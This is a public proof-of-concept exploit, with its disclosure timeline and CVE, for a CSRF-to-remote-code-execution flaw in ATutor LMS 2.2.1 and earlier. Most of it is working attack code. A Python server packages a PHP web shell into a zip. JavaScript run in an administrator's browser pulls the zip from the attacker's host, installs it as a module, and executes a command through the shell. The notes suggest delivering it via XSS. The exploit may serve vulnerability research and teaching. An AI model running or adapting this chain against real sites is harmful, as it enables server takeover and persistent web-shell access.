/* exp.js
ATutor LMS <=2.2.1 install_modules.php CSRF Remote Code Execution
by mr_me
Notes:
``````
- Discovered for @ipn_mx students advanced php vuln/dev class- Tested on the latest FireFox 44.0.2 release build
- This poc simply uploads a zipfileas pwn/si.php with a "<?php system($_GET['cmd']); ?>"in it
- You will need to set the Access-Control-Allow-Origin header to allow the target to pull zips
- Use this with your favorite XSS attack
- Student proof, aka bullet proof
Timeline:
`````````
23/02/2016- notified vendor via info[at]atutor[dot]ca
24/02/2016- requested CVE and assigned CVE-2016-253924/02/2016- vendor replied stating they are investigating the issue
05/03/2016- vendor patches the issue (https://github.com/atutor/ATutor/commit/bfc6c80c6c217c5515172f3cc949e13dfa1a92ac)06/03/2016- coordinated public release
Example:
````````
mr_me@jupiter:~$ cat poc.py
#!/usr/bin/pythonimport sys
import zipfile
import BaseHTTPServer
from cStringIO import StringIO
from SimpleHTTPServer import SimpleHTTPRequestHandler
iflen(sys.argv)<3:print"Usage: %s <lport> <target>"% sys.argv[0]print"eg: %s 8000 172.16.69.128"% sys.argv[0]
sys.exit(1)def_build_zip():"""
builds the zip file
"""
f = StringIO()
z = zipfile.ZipFile(f,'w', zipfile.ZIP_DEFLATED)
z.writestr('pwn/si.php',"<?php system($_GET['cmd']); ?>")
z.close()
handle =open('pwn.zip','wb')
handle.write(f.getvalue())
handle.close
classCORSRequestHandler(SimpleHTTPRequestHandler):defend_headers(self):
self.send_header('Access-Control-Allow-Origin','http://%s'% sys.argv[2])
SimpleHTTPRequestHandler.end_headers(self)if __name__ =='__main__':
_build_zip()
BaseHTTPServer.test(CORSRequestHandler, BaseHTTPServer.HTTPServer)
mr_me@jupiter:~$ ./poc.py 8000172.16.69.128
Serving HTTP on 0.0.0.0 port 8000...172.16.69.1--[23/Feb/201614:04:07]"GET /exp.js HTTP/1.1"200-172.16.69.1--[23/Feb/201614:04:07]"GET /pwn.zip HTTP/1.1"200-~ de Mexico con amor,*/
var get_hostname = function(href){
var l = document.createElement("a");
l.href = href;return l.hostname +":"+ l.port;};
function trolololol(url, file_data, filename){
var file_size = file_data.length,
boundary ="828116593165207937691721278",
xhr = new XMLHttpRequest();// latest ff doesnt have sendAsBinary(), so we redefine it
if(!xhr.sendAsBinary){
xhr.sendAsBinary = function(datastr){
function byteValue(x){return x.charCodeAt(0)&0xff;}
var ords = Array.prototype.map.call(datastr, byteValue);
var ui8a = new Uint8Array(ords);
this.send(ui8a.buffer);}}// the callback after this stage is done...
xhr.onreadystatechange = function(){if(xhr.readyState == XMLHttpRequest.DONE){
xhr = new XMLHttpRequest();// change this if you change the zip
xhr.open("GET","/ATutor/mods/pwn/si.php?cmd=id", true);
xhr.send();}}
xhr.open("POST", url, true);// simulate a file MIME POST request.
xhr.setRequestHeader("Content-Type","multipart/form-data, boundary="+boundary);
xhr.setRequestHeader("Content-Length", file_size);
var body ="--"+ boundary +"\r\n";
body +='Content-Disposition: form-data; name="modulefile"; filename="'+ filename +'"\r\n';
body +="Content-Type: archive/zip\r\n\r\n";
body += file_data +"\r\n";
body +="--"+ boundary +"\r\n";
body +='Content-Disposition: form-data; name="install_upload"\r\n\r\n';
body +="junk\r\n";
body +="--"+ boundary;
xhr.sendAsBinary(body);return true;}
function pwn(){
var xhr = new XMLHttpRequest();// et phone home
var home = get_hostname(document.scripts[0].src);// get our own zipfile
xhr.open('GET','http://'+ home +'/pwn.zip', true);
xhr.responseType ='blob';
xhr.onload = function(e){if(this.status ==200){// use the FileReader classto get the raw binary
var reader = new window.FileReader();
reader.readAsBinaryString(new Blob([this.response],{type:'application/zip'}));
reader.onloadend = function(){
trolololol("/ATutor/mods/_core/modules/install_modules.php", reader.result,"pwn.zip");}}};
xhr.send();}
pwn();